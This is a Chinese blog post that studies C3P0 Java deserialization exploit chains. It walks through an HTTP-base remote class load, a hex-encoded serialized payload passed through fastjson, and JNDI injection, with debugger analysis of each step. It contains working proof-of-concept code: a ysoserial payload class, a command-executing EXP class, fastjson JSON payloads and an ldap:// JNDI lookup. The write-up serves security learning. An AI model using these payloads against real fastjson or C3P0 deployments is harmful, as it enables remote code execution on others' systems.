C3P0反序列化链学习

虚幻大学 xuhss 448℃ 0评论

? 优质资源分享 ?

学习路线指引(点击解锁) 知识定位 人群定位
? Python实战微信订餐小程序 ? 进阶级 本课程是python flask+微信小程序的完美结合,从项目搭建到腾讯云部署上线,打造一个全栈订餐系统。
?Python量化交易实战? 入门级 手把手带你打造一个易扩展、更安全、效率更高的量化交易系统

C3P0

c3p0第一次听闻是用于fastjson的回显上,大佬们总结三种方法,后面两种主要就是用于fastjson和jackjson的回显利用(注入内存马)

http base
jndi
hex序列化字节加载器

1、http base

1.1、漏洞复现

package ysoserial.test;

import ysoserial.Serializer;
import ysoserial.payloads.C3P0;

import java.io.*;

public class C3P0Test {
    public static void main(String[] args) throws Exception {
        C3P0 c3P0 = new C3P0();
        Object object = c3P0.getObject("http://127.0.0.1:8000/:EXP");
        serialize(object,"c3p0.ser");
        unserialize("c3p0.ser");

    }

    public static void serialize(Object obj ,String path) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
        objectOutputStream.writeObject(obj);
    }
    public static void unserialize(String path) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(path));
        objectInputStream.readObject();
    }
}

exp


public class EXP {
    public EXP() {
    }

    static {
        try {
            Runtime var0 = Runtime.getRuntime();
            String[] var1 = new String[]{"bash", "-c", "open -a calculator.app"};
            Process var2 = var0.exec(var1);
            var2.waitFor();
        } catch (Exception var3) {
        }

    }
}

e084a932424ea9674c8fea16eafe68b1 - C3P0反序列化链学习

1.2、漏洞分析

我跟jdk7u21一样还是通过ysoserial来学习,首先先学习一下c3p0链,我们看到getObject()方法,他就是通过:截断,获取url和类名,然后反射创建PoolBackedDataSource类,设置其connectionPoolDataSource属性设置为new PoolSource(className, url)实例。

我们继续看看PoolSource,除了构造方法赋值外就是有一个getReference()方法,传入了我们的恶意的url和className

public class C3P0 implements ObjectPayload {
 public Object getObject ( String command ) throws Exception {
 int sep = command.lastIndexOf(':');
 if ( sep < 0 ) {
 throw new IllegalArgumentException("Command format is: :");
 }

 String url = command.substring(0, sep);
 String className = command.substring(sep + 1);

 PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
 Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
 return b;
 }

 private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

 private String className;
 private String url;

 public PoolSource ( String className, String url ) {
 this.className = className;
 this.url = url;
 }

 public Reference getReference () throws NamingException {
 return new Reference("exploit", this.className, this.url);
 }

 public PrintWriter getLogWriter () throws SQLException {return null;}
 public void setLogWriter ( PrintWriter out ) throws SQLException {}
 public void setLoginTimeout ( int seconds ) throws SQLException {}
 public int getLoginTimeout () throws SQLException {return 0;}
 public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
 public PooledConnection getPooledConnection () throws SQLException {return null;}
 public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

 }

 public static void main ( final String[] args ) throws Exception {
 PayloadRunner.run(C3P0.class, args);
 }

}

1.3、POC调试

1.3.1、序列化分析

我先来看看是怎么序列化的过程,在writeObject处打下断点

81bba18b7e863a8bee118dd7403f59b2 - C3P0反序列化链学习

跟进去,进入到com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase,回去序列化我们的输入this.connectionPoolDataSource,但是由于我们输入的其实就是PoolSource,无法序列化,继续往下走

63136d2d0ef1392da6e474cd427ceea6 - C3P0反序列化链学习

走到这,他会序列化indirector.indirectForm(this.connectionPoolDataSource),我们

indirector = new ReferenceIndirector();
oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));

dab57475846f6322b00acc80887f0ef0 - C3P0反序列化链学习

我们跟进去看看,此处调用的getReference()就是PoolSource的getReference方法,也是为什么PoolSource要重写该方法

651271b1386241296fd528d8635e6d66 - C3P0反序列化链学习

然后就是ReferenceIndirector.ReferenceSerialized(),我们继续跟进去,可以看到就是把我们构造的特殊的reference赋值给this.reference,所以序列化文件里是包含这我们的恶意reference。

93bf396936aa90c405a90ae9199e860e - C3P0反序列化链学习

1.3.2、反序列化分析

我们从报错的也可以看出序列化的接口是在com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase的readObject

ef6d8355a14c0c467bfd19856ce4524e - C3P0反序列化链学习

利用链

/*
 * Gadget:
 *   PoolBackedDataSourceBase#readObject
 *     ReferenceIndirector$ReferenceSerialized#getObject
 *       ReferenceableUtils#referenceToObject
 *         Class#forName
 * */

我们把断点打在PoolBackedDataSourceBase的readObect(),走到这,会判断o是不是IndirectlySerialized,那么就会触发ReferenceIndirector的getObject方法,跟进去

a1cc6fd5f9f7978590baaa75eb4e349a - C3P0反序列化链学习

进来后会通过ReferenceableUtils.referenceToObject()方法将this.reference(恶意链接)转换成Object,我们继续跟进去

fa8cb2e15957b450c8410e57f77476be - C3P0反序列化链学习

获取我们恶意地址字符串和恶意类字符串分别存入var4和var11,并且新建一个ClassLoder里面存我地址,然后通过Class.forName方法加载,此时的var4和var7都是我们可以控制的。然后就会去寻找对应的地址请求恶意类。

0d39297288f6eb74c30a5c54878de155 - C3P0反序列化链学习

0eb3230390fb17798667ef79070546ba - C3P0反序列化链学习

我们可以看到在Class.forName触发了我们的代码执行,原因是Class.forName如果没有给定 classloader, 那么会使用根类加载器。如果initalize这个参数传了 true,那么给定的类如果之前没有被初始化过,那么会被初始化,造成远程代码执行

2、hex序列化字节加载器

这个可以满足fastjson和c3p0可以做到不出网利用。首先生成序列化payload,这里的payload注意是需要本地的另一条Gadget比如CC或者CB链,然后hex编码一下拼到PoC里

java -jar ysoserial.jar CommonsCollections2 "open -a Calculator" > calc.ser

2.1、poc复现

依赖

        <dependency>
            <groupId>com.alibabagroupId>
            <artifactId>fastjsonartifactId>
            <version>1.2.24version>
        dependency>
        <dependency>
            <groupId>com.mchangegroupId>
            <artifactId>c3p0artifactId>
            <version>0.9.5.2version>
        dependency>

        <dependency>
            <groupId>org.apache.commonsgroupId>
            <artifactId>commons-collections4artifactId>
            <version>4.0version>
        dependency>

Poc

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}
package com.akkacloud;

import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;

import java.io.*;
import java.util.Arrays;

public class fast {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream("/Users/akka/Desktop/tools/EXP/Weblogic/calc.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);
        String poc ="{\"e\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"},\"f\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:"+HexString+";\"}}";
        JSON.parseObject(poc);

    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }

}

74539cb302cb11db9fb507ccd64202f1 - C3P0反序列化链学习

2.2、poc分析

原因仍然是fastjson自动调用属性的setter和getter方法。不懂得可以学习一下前面

我们直接在com.mchange.v2.c3p0.WrapperConnectionPoolDataSource类的 setUpPropertyListeners处打下断点,调用了parseUserOverridesAsString((String)val) ,val就是我们传入的hex加密的字符串,跟进去

41bc454f56cd4dc6836b4a377431ead1 - C3P0反序列化链学习

该方法就是把传入的hex加密字符串解密成byte[],然后调用fromByteArray方法,继续跟进去

d05f0840c265ea710cfe7d58cd5a09b5 - C3P0反序列化链学习

然后调用deserializeFromByteArray方法,继续跟进

708804ceab43585ff2811df50c2952a9 - C3P0反序列化链学习

到这一步就很清晰了,调用readObejct,造成反序列化恶意代码执行

015cdf5464c7d84190239d464f9d579a - C3P0反序列化链学习

3、JNDI利用

此方法可以配合tomcatEcho,达到回显

3.1、POC复现

依赖

<dependency>
  <groupId>com.alibabagroupId>
  <artifactId>fastjsonartifactId>
  <version>1.2.24version>
  dependency>

<dependency>
  <groupId>com.mchangegroupId>
  <artifactId>c3p0artifactId>
  <version>0.9.5.2version>
  dependency>
package com.akkacloud;

import com.alibaba.fastjson.JSON;

public class fast {
    public static void main(String[] args) throws Exception {
        String poc = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"ldap://127.0.0.1:1389/EXP\", \"loginTimeout\":0}";
        JSON.parseObject(poc);
    }

}

33f5b3cd635c000fd63c6983097439c0 - C3P0反序列化链学习

3.2、POC分析

这跟fastjson其他利用链的差不多都是由于fastjson会自动触发字段的setter和getter方法。所以会自动触发com.mchange.v2.c3p0.JndiRefForwardingDataSourcesetJndiName,但是由于该类没有该方法就会调用其父类com.mchange.v2.c3p0.impl.JndiRefDataSourceBasesetJndiName。我们在该方法打下断点,可以看到该方法就是把this.jndiName赋值为其传入的值(恶意链接),然后就是调用setloginTimeout

e88f823a3213be3af1c6b14bcfb6cd63 - C3P0反序列化链学习

然后进入到om.mchange.v2.c3p0.JndiRefForwardingDataSource累的setloginTimeout,调用inner方法,跟进去

87227c1c259bfe5f8d7e093ff6347ba5 - C3P0反序列化链学习

继续调用dereference方法,继续跟进

66a73ca18de3d5c4cc9e360255fdaa02 - C3P0反序列化链学习

跟进去就发现会调用我们ctx.lookup((String)jndiName),完成jndi注入

46475e4f260f022a47bafa6968ce4cd3 - C3P0反序列化链学习

参考
https://blog.csdn.net/nice0e3/p/15058285.html
https://www.shuzhiduo.com/A/ZOJPN24Odv/

转载请注明:xuhss » C3P0反序列化链学习

喜欢 (0)

您必须 登录 才能发表评论!